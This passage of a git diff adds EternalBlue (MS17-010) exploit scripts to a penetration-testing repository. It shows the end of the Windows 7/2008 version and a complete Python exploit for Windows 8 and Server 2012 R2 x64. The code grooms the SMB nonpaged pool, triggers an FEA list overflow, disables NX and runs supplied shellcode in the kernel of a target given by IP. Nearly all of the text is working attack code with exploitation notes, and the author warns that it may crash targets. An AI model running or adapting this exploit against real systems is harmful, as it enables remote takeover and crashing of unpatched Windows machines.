smb.SMB for SMB1+ conn = smb.SMB(target, target)++ # can use conn.login() for ntlmv2+ conn.login_standard('', '')+ server_os = conn.get_server_os()+ print('Target OS: '+server_os)+ if not (server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 ")):+ print('This exploit does not support this target')+ sys.exit()+++ tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')++ # Here is code path in WinNT4 (all reference files are relative path to https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/)+ # - SrvSmbNtTransaction() (smbtrans.c#L2677)+ # - When all data is received, call ExecuteTransaction() at (smbtrans.c#L3113)+ # - ExecuteTransaction() (smbtrans.c#L82)+ # - Call dispatch table (smbtrans.c#L347)+ # - Dispatch table is defined at srvdata.c#L972 (target is command 0, SrvSmbOpen2() function)+ # - SrvSmbOpen2() (smbopen.c#L1002)+ # - call SrvOs2FeaListToNt() (smbopen.c#L1095)++ # https://msdn.microsoft.com/en-us/library/ee441720.aspx+ # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command+ # Note: cannot use SMB_COM_TRANSACTION2 for the exploit because the TotalDataCount field is USHORT+ # Note: transaction max data count is 66512 (0x103d0) and DataDisplacement is USHORT+ progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, 2000, False)+ # we have to know what size of NtFeaList will be created when last fragment is sent++ # make sure server recv all payload before starting allocate big NonPaged+ #sendEcho(conn, tid, 'a'*12)++ # create buffer size NTFEA_SIZE-0x1000 at server+ # this buffer MUST NOT be big enough for overflown buffer+ allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)++ # groom nonpaged pool+ # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one+ srvnetConn = []+ for i in range(numGroomConn):+ sk = createConnectionWithBigSMBFirst80(target)+ srvnetConn.append(sk)++ # create buffer size NTFEA_SIZE at server+ # this buffer will be replaced by overflown buffer+ holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)+ # disconnect allocConn to free buffer+ # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer+ allocConn.get_socket().close()++ # hope one of srvnetConn is next to holeConn+ for i in range(5):+ sk = createConnectionWithBigSMBFirst80(target)+ srvnetConn.append(sk)++ # send echo again, all new 5 srvnet buffers should be created+ #sendEcho(conn, tid, 'a'*12)++ # remove holeConn to create hole for fea buffer+ holeConn.get_socket().close()++ # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header+ send_trans2_second(conn, tid, feaList[progress:], progress)+ recvPkt = conn.recvSMB()+ retStatus = recvPkt.getNTStatus()+ # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag+ if retStatus == 0xc000000d:+ print('good response status: INVALID_PARAMETER')+ else:+ print('bad response status: 0x{:08x}'.format(retStatus))+++ # one of srvnetConn struct header should be modified+ # a corrupted buffer will write recv data in designed memory address+ for sk in srvnetConn:+ sk.send(fake_recv_struct + shellcode)++ # execute shellcode by closing srvnet connection+ for sk in srvnetConn:+ sk.close()++ # nicely close connection (no need for exploit)+ conn.disconnect_tree(tid)+ conn.logoff()+ conn.get_socket().close()+++if len(sys.argv) < 3:+ print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))+ sys.exit(1)++TARGET=sys.argv[1]+numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])++fp = open(sys.argv[2], 'rb')+sc = fp.read()+fp.close()++print('shellcode size: {:d}'.format(len(sc)))+print('numGroomConn: {:d}'.format(numGroomConn))++exploit(TARGET, sc, numGroomConn)+print('done')\ No newline at end of filediff --git a/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/windows8-windows2012R2-x64.py b/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/windows8-windows2012R2-x64.pynew file mode 100644index 0000000..2b70549--- /dev/null+++ b/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/windows8-windows2012R2-x64.py@@ -0,0 +1,527 @@+#!/usr/bin/python+from impacket import smb+from struct import pack+import os+import sys+import socket++'''+EternalBlue exploit for Windows 8 and 2012 by sleepya+The exploit might FAIL and CRASH a target system (depended on what is overwritten)+The exploit support only x64 target+Tested on:+- Windows 2012 R2 x64+- Windows 8.1 x64+Default Windows 8 and later installation without additional service info:+- anonymous is not allowed to access any share (including IPC$)+- tcp port 445 if filtered by firewall+Reference:+- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/+- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit+Exploit info:+- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at+ https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same+- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).+ On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.+- The exploit is likely to crash a target when it failed+- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.+- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)+- See the code and comment for exploit detail.+Disable NX method:+- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)+- The exploit is also the same but we need to trigger bug twice+- First trigger, set MDL.MappedSystemVa to target pte address+ - Write '\x00' to disable the NX flag+- Second trigger, do the same as Windows 7 exploit+- From my test, if exploit disable NX successfully, I always get code execution+'''++# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000+NTFEA_SIZE = 0x9000++ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80+ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c+ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR++'''+Reverse from srvnet.sys (Win2012 R2 x64)+- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():+// size 0x90+struct SRVNET_BUFFER_HDR {+ LIST_ENTRY list;+ USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.+ char unknown0[6];+ char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")+ DWORD netRawBufferSize; // offset: 0x20+ DWORD ioStatusInfo;+ DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100+ DWORD pad2;+ char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER+ PMDL pmdl1; // point at offset 0x90 from this struct+ DWORD nByteProcessed; // 0x40+ char unknown4[4];+ QWORD smbMsgSize; // MUST be modified to size of all recv data+ PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address+ QWORD pSrvNetWskStruct; // want to change to fake struct address+ DWORD unknown6; // 0x60+ char unknown7[12];+ char unknown8[0x20];+};+struct SRVNET_BUFFER {+ char transportHeader[80]; // 0x50+ char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)+ SRVNET_BUFFER_HDR hdr; //some header size 0x90+ //MDL mdl1; // target+};+In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.+Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and+ DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.+So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.+If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.+'''+# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing+# Here is the important fields on x64+# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is+# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".+# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).+# This value MUST be exactly same as the number of bytes we send.+# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)+# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.+# The value MUST point to valid (might be fake) struct.+# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer+# - 0x90 (VOID*) : MDL.Next should be NULL+# - 0x98 (USHORT) : MDL.Size should be some value that not too small+# - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)+# - 0x90 (VOID*) : MDL.Process should be NULL+# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.+# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).+#+#+# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.+# Here is related field for freeing corrupted buffer+# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0+# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()+# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0+# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to+# your shellcode as function argument+# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set+# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".+# Here is x64 assembly code for setting nByteProcessed field+# - fetch SRVNET_BUFFER address from function argument+# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]+# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)+# \x48\x01\xd1 add rcx, rdx+# \x48\x89\x4a\x30 mov [rdx+0x30], rcx+# - set nByteProcessed for trigger free after return+# \x8b\x4a\x48 mov ecx, [rdx+0x48]+# \x89\x4a\x40 mov [rdx+0x40], ecx++TARGET_HAL_HEAP_ADDR = 0xffffffffffd00e00 # for put fake struct and shellcode++# Note: feaList will be created after knowing shellcode size.++# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa+# PTE of 0xffffffffffd01000 is at 0xfffff6ffffffe808+# NX bit is at 0xfffff6ffffffe80f+# MappedSystemVa = 0xfffff6ffffffe80f - 0x7f = 0xfffff6ffffffe790+fakeSrvNetBufferX64Nx = '\x00'*16+fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)+fakeSrvNetBufferX64Nx += '\x00'*16+fakeSrvNetBufferX64Nx += '\x00'*16+fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)+fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct+fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)+fakeSrvNetBufferX64Nx += '\x00'*16+fakeSrvNetBufferX64Nx += '\x00'*16+fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags+fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0xfffff6ffffffe80f-0x7f) # MDL.Process, MDL.MappedSystemVa++feaListNx = pack('<I', 0x10000)+feaListNx += ntfea9000+feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name+# stop copying by invalid flag (can be any value except 0 and 0x80)+feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)+++def createFakeSrvNetBuffer(sc_size):+ # 0x200 is size of fakeSrvNetBufferX64+ totalRecvSize = 0x80 + 0x200 + sc_size+ fakeSrvNetBufferX64 = '\x00'*16+ fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer+ fakeSrvNetBufferX64 += '\x00'*16+ fakeSrvNetBufferX64 += '\x00'*16+ fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40+ fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct+ fakeSrvNetBufferX64 += pack('<QQ', 0, 0)+ fakeSrvNetBufferX64 += '\x00'*16+ fakeSrvNetBufferX64 += '\x00'*16+ fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags+ fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa+ return fakeSrvNetBufferX64++def createFeaList(sc_size):+ feaList = pack('<I', 0x10000)+ feaList += ntfea9000+ fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)+ feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name+ # stop copying by invalid flag (can be any value except 0 and 0x80)+ feaList += pack('<BBH', 0x12, 0x34, 0x5678)+ return feaList++# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()+# x64: fake struct is at ffffffff ffd00e00+# offset 0x50: KSPIN_LOCK+# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.+# offset 0x110: array of pointer to function+# offset 0x13c: set to 3 (DWORD) for invoking ptr to function+# some useful offset+# offset 0x120: arg1 when invoking ptr to function+# offset 0x128: arg2 when invoking ptr to function+#+# code path to get code exection after this struct is controlled+# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr+fake_recv_struct = ('\x00'*16)*5+fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)+fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60+fake_recv_struct += ('\x00'*16)*10+fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x1f0, 0) # offset 0x110: fn_ptr array+fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150+fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130+fake_recv_struct += ('\x00'*16)*11+fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x200) # shellcode address+++def getNTStatus(self):+ return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']+setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)++def sendEcho(conn, tid, data):+ pkt = smb.NewSMBPacket()+ pkt['Tid'] = tid++ transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)+ transCommand['Parameters'] = smb.SMBEcho_Parameters()+ transCommand['Data'] = smb.SMBEcho_Data()++ transCommand['Parameters']['EchoCount'] = 1+ transCommand['Data']['Data'] = data+ pkt.addCommand(transCommand)++ conn.sendSMB(pkt)+ recvPkt = conn.recvSMB()+ if recvPkt.getNTStatus() == 0:+ print('got good ECHO response')+ else:+ print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))+++# do not know why Word Count can be 12+# if word count is not 12, setting ByteCount without enough data will be failed+class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):+ structure = (+ ('MaxBuffer','<H'),+ ('MaxMpxCount','<H'),+ ('VCNumber','<H'),+ ('SessionKey','<L'),+ #('AnsiPwdLength','<H'),+ ('UnicodePwdLength','<H'),+ ('_reserved','<L=0'),+ ('Capabilities','<L'),+ )++def createSessionAllocNonPaged(target, size):+ # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function+ # You can see the allocation logic (even code is not the same) in WinNT4 source code+ # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071+ conn = smb.SMB(target, target)+ _, flags2 = conn.get_flags()+ # FLAGS2_EXTENDED_SECURITY MUST not be set+ flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY+ # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16+ if size >= 0xffff:+ flags2 &= ~smb.SMB.FLAGS2_UNICODE+ reqSize = size // 2+ else:+ flags2 |= smb.SMB.FLAGS2_UNICODE+ reqSize = size+ conn.set_flags(flags2=flags2)++ pkt = smb.NewSMBPacket()++ sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)+ sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()++ sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size+ sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value+ sessionSetup['Parameters']['VCNumber'] = os.getpid()+ sessionSetup['Parameters']['SessionKey'] = 0+ sessionSetup['Parameters']['AnsiPwdLength'] = 0+ sessionSetup['Parameters']['UnicodePwdLength'] = 0+ sessionSetup['Parameters']['Capabilities'] = 0x80000000++ # set ByteCount here+ sessionSetup['Data'] = pack('<H', size) + '\x00'*20+ pkt.addCommand(sessionSetup)++ conn.sendSMB(pkt)+ recvPkt = conn.recvSMB()+ if recvPkt.getNTStatus() == 0:+ print('SMB1 session setup allocate nonpaged pool success')+ else:+ print('SMB1 session setup allocate nonpaged pool failed')+ return conn+++# Note: impacket-0.9.15 struct has no ParameterDisplacement+############# SMB_COM_TRANSACTION2_SECONDARY (0x33)+class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):+ structure = (+ ('TotalParameterCount','<H=0'),+ ('TotalDataCount','<H'),+ ('ParameterCount','<H=0'),+ ('ParameterOffset','<H=0'),+ ('ParameterDisplacement','<H=0'),+ ('DataCount','<H'),+ ('DataOffset','<H'),+ ('DataDisplacement','<H=0'),+ ('FID','<H=0'),+ )++def send_trans2_second(conn, tid, data, displacement):+ pkt = smb.NewSMBPacket()+ pkt['Tid'] = tid++ # assume no params++ transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)+ transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()+ transCommand['Data'] = smb.SMBTransaction2Secondary_Data()++ transCommand['Parameters']['TotalParameterCount'] = 0+ transCommand['Parameters']['TotalDataCount'] = len(data)++ fixedOffset = 32+3+18+ transCommand['Data']['Pad1'] = ''++ transCommand['Parameters']['ParameterCount'] = 0+ transCommand['Parameters']['ParameterOffset'] = 0++ if len(data) > 0:+ pad2Len = (4 - fixedOffset % 4) % 4+ transCommand['Data']['Pad2'] = '\xFF' * pad2Len+ else:+ transCommand['Data']['Pad2'] = ''+ pad2Len = 0++ transCommand['Parameters']['DataCount'] = len(data)+ transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len+ transCommand['Parameters']['DataDisplacement'] = displacement++ transCommand['Data']['Trans_Parameters'] = ''+ transCommand['Data']['Trans_Data'] = data+ pkt.addCommand(transCommand)++ conn.sendSMB(pkt)+++def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):+ pkt = smb.NewSMBPacket()+ pkt['Tid'] = tid++ command = pack('<H', setup)++ transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)+ transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()+ transCommand['Parameters']['MaxSetupCount'] = 1+ transCommand['Parameters']['MaxParameterCount'] = len(param)+ transCommand['Parameters']['MaxDataCount'] = 0+ transCommand['Data'] = smb.SMBTransaction2_Data()++ transCommand['Parameters']['Setup'] = command+ transCommand['Parameters']['TotalParameterCount'] = len(param)+ transCommand['Parameters']['TotalDataCount'] = len(data)++ fixedOffset = 32+3+38 + len(command)+ if len(param) > 0:+ padLen = (4 - fixedOffset % 4 ) % 4+ padBytes = '\xFF' * padLen+ transCommand['Data']['Pad1'] = padBytes+ else:+ transCommand['Data']['Pad1'] = ''+ padLen = 0++ transCommand['Parameters']['ParameterCount'] = len(param)+ transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen++ if len(data) > 0:+ pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4+ transCommand['Data']['Pad2'] = '\xFF' * pad2Len+ else:+ transCommand['Data']['Pad2'] = ''+ pad2Len = 0++ transCommand['Parameters']['DataCount'] = firstDataFragmentSize+ transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len++ transCommand['Data']['Trans_Parameters'] = param+ transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]+ pkt.addCommand(transCommand)++ conn.sendSMB(pkt)+ recvPkt = conn.recvSMB() # must be success+ if recvPkt.getNTStatus() == 0:+ print('got good NT Trans response')+ else:+ print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))+ sys.exit(1)++ i = firstDataFragmentSize+ while i < len(data):+ sendSize = min(4096, len(data) - i)+ if len(data) - i <= 4096:+ if not sendLastChunk:+ break+ send_trans2_second(conn, tid, data[i:i+sendSize], i)+ i += sendSize++ if sendLastChunk:+ conn.recvSMB()+ return i+++# connect to target and send a large nbss size with data 0x80 bytes+# this method is for allocating big nonpaged pool on target+def createConnectionWithBigSMBFirst80(target, for_nx=False):+ sk = socket.create_connection((target, 445))+ pkt = '\x00' + '\x00' + pack('>H', 0x8100)+ # There is no need to be SMB2 because we want the target free the corrupted buffer.+ # Also this is invalid SMB2 message.+ # I believe NSA exploit use SMB2 for hiding alert from IDS+ #pkt += '\xffSMB' # smb2+ # it can be anything even it is invalid+ pkt += 'BAAD' # can be any+ if for_nx:+ # MUST set no delay because 1 byte MUST be sent immediately+ sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)+ pkt += '\x00'*0x7b # another byte will be sent later to disabling NX+ else:+ pkt += '\x00'*0x7c+ sk.send(pkt)+ return sk+++def exploit(target, shellcode, numGroomConn):+ # force using smb.SMB for SMB1+ conn = smb.SMB(target, target)++ # can use conn.login() for ntlmv2+ conn.login_standard('', '')+ server_os = conn.get_server_os()+ print('Target OS: '+server_os)+ if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):+ print('This exploit does not support this target')+ sys.exit()++ tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')++ # Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command+ progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)++ # Another NT transaction for disabling NX+ nxconn = smb.SMB(target, target)+ nxconn.login_standard('', '')+ nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')+ nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)++ # create some big buffer at server+ # this buffer MUST NOT be big enough for overflown buffer+ allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)++ # groom nonpaged pool+ # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one+ srvnetConn = []+ for i in range(numGroomConn):+ sk = createConnectionWithBigSMBFirst80(target, for_nx=True)+ srvnetConn.append(sk)++ # create buffer size NTFEA_SIZE at server+ # this buffer will be replaced by overflown buffer+ holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)+ # disconnect allocConn to free buffer+ # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer+ allocConn.get_socket().close()++ # hope one of srvnetConn is next to holeConn+ for i in range(5):+ sk = createConnectionWithBigSMBFirst80(target, for_nx=True)+ srvnetConn.append(sk)++ # remove holeConn to create hole for fea buffer+ holeConn.get_socket().close()++ # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header+ # first trigger to overwrite srvnet buffer struct for disabling NX+ send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)+ recvPkt = nxconn.recvSMB()+ retStatus = recvPkt.getNTStatus()+ if retStatus == 0xc000000d:+ print('good response status for nx: INVALID_PARAMETER')+ else:+ print('bad response status for nx: 0x{:08x}'.format(retStatus))++ # one of srvnetConn struct header should be modified+ # send '\x00' to disable nx+ for sk in srvnetConn:+ sk.send('\x00')++ # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header+ # second trigger to place fake struct and shellcode+ send_trans2_second(conn, tid, feaList[progress:], progress)+ recvPkt = conn.recvSMB()+ retStatus = recvPkt.getNTStatus()+ if retStatus == 0xc000000d:+ print('good response status: INVALID_PARAMETER')+ else:+ print('bad response status: 0x{:08x}'.format(retStatus))++ # one of srvnetConn struct header should be modified+ # a corrupted buffer will write recv data in designed memory address+ for sk in srvnetConn:+ sk.send(fake_recv_struct + shellcode)++ # execute shellcode+ for sk in srvnetConn:+ sk.close()++ # nicely close connection (no need for exploit)+ nxconn.disconnect_tree(tid)+ nxconn.logoff()+ nxconn.get_socket().close()+ conn.disconnect_tree(tid)+ conn.logoff()+ conn.get_socket().close()+++if len(sys.argv) < 3:+ print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))+ sys.exit(1)++TARGET=sys.argv[1]+numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])++fp = open(sys.argv[2], 'rb')+sc = fp.read()+fp.close()++if len(sc) > 4096:+ print('Shellcode too long. The place that this exploit put a shellcode is limited to 4096 bytes.')+ sys.exit()++# Now, shellcode is known. create a feaList+feaList = createFeaList(len(sc))++print('shellcode size: {:d}'.format(len(sc)))+print('numGroomConn: {:d}'.format(numGroomConn))++exploit(TARGET, sc, numGroomConn)+print('done')\ No newline at end of file